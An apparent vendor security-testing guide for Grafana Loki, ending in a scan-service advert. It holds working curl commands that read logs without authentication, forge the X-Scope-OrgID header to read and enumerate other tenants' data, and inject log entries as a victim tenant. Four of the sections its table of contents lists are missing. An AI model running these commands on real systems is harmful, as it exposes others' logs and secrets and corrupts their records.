Loki Security Testing: Unauthenticated Log Access, Label Injection, and Tenant Bypass via Push API Abuse

Grafana Loki is a horizontally-scalable log aggregation system designed for Kubernetes environments. Like Prometheus, Loki indexes only log labels (not content), but its query API exposes full log content — including application logs that may contain credentials, PII, and secrets. Security weaknesses include: Loki's HTTP API (port 3100) being unauthenticated in single-tenant mode exposing all logs, multi-tenant isolation via the X-Scope-OrgID header that is trivially forged if not enforced at a trusted proxy layer, log push endpoints accepting arbitrary labels that pollute indexes, excessive label cardinality from attacker-controlled push requests causing memory exhaustion, and Loki configuration files containing S3/GCS/Azure storage credentials. This guide covers systematic Loki security assessment.

Table of Contents

  1. Loki Query API Unauthenticated Access
  2. Tenant Isolation Bypass via X-Scope-OrgID
  3. Push API Label Injection
  4. Sensitive Data in Log Streams
  5. Object Storage Credential Exposure
  6. Cardinality Exhaustion Attack
  7. Loki Security Hardening

Loki Query API Unauthenticated Access

# Loki default port: 3100
# In single-tenant mode (auth_enabled: false), all logs are accessible without auth

# Check Loki ready status
curl -s http://loki.example.com:3100/ready 2>/dev/null
# Returns "ready" = Loki accessible

# Query all log streams (no authentication required in default config)
curl -s "http://loki.example.com:3100/loki/api/v1/query_range?query={job%3D~\".%2B\"}&limit=10" \
  2>/dev/null | python3 -c "
import json,sys
r = json.load(sys.stdin)
streams = r.get('data',{}).get('result',[])
print(f'Log streams accessible: {len(streams)}')
for s in streams[:3]:
    labels = s.get('stream',{})
    print(f'  Labels: {labels}')
    vals = s.get('values',[])
    if vals:
        print(f'  Sample log: {vals[0][1][:100]}...')
"

# List all label names (reveals service topology)
curl -s "http://loki.example.com:3100/loki/api/v1/labels" 2>/dev/null | \
  python3 -m json.tool | head -15

# Get label values for 'namespace' label
curl -s "http://loki.example.com:3100/loki/api/v1/label/namespace/values" 2>/dev/null | \
  python3 -c "import json,sys; r=json.load(sys.stdin); print(r.get('data',[]))"

Tenant Isolation Bypass via X-Scope-OrgID

# Loki multi-tenancy is enforced via X-Scope-OrgID header
# If Loki trusts this header directly (not enforced by authenticated proxy), it's bypassable

# Query another tenant's logs by forging X-Scope-OrgID
curl -s "http://loki.example.com:3100/loki/api/v1/query_range?query={namespace=\"production\"}&limit=5" \
  -H "X-Scope-OrgID: other-tenant-org-id" 2>/dev/null | python3 -m json.tool | head -20

# Try enumerating known tenant IDs
for tenant in tenant1 tenant2 production staging customer-a customer-b; do
  count=$(curl -s "http://loki.example.com:3100/loki/api/v1/labels" \
    -H "X-Scope-OrgID: $tenant" 2>/dev/null | python3 -c "
import json,sys
try:
    r=json.load(sys.stdin)
    print(len(r.get('data',[])))
except:
    print(0)
  ")
  echo "Tenant: $tenant labels_count: $count"
done

# Push log entries as another tenant
curl -s -X POST "http://loki.example.com:3100/loki/api/v1/push" \
  -H "Content-Type: application/json" \
  -H "X-Scope-OrgID: victim-tenant" \
  -d '{
    "streams": [{
      "stream": {"job": "injected", "namespace": "production"},
      "values": [["'$(date +%s%N)'", "INJECTED: this log was written by an attacker"]]
    }]
  }' 2>/dev/null | head -5

Loki Security Hardening

Loki Security Hardening Checklist:
Security TestMethodRisk
Loki API unauthenticated accesscurl :3100/loki/api/v1/query_range?query={job=~".+"} — returns all logsCritical
Tenant isolation bypass via X-Scope-OrgIDQuery with arbitrary X-Scope-OrgID header — accesses other tenant's logsCritical
Credentials and secrets in log contentLogQL query filtering for 'password', 'token', 'secret' in log linesHigh
Push API accepts arbitrary labels (injection)POST /loki/api/v1/push with arbitrary label key/value pairsHigh
Object storage credentials in configRead Loki config file for storage.aws/gcs/azure credential fieldsHigh
Cardinality exhaustion via high-cardinality pushPush streams with unique label values at high rateMedium

Automate Loki Security Testing

Ironimo tests Grafana Loki deployments for unauthenticated log query API access exposing all tenants' application logs, X-Scope-OrgID tenant isolation bypass via header forging, push API label injection for cross-tenant log pollution, sensitive data discovery in log streams, object storage credential exposure, cardinality exhaustion attacks, and Ruler alert rule injection for alert suppression.

Start free scan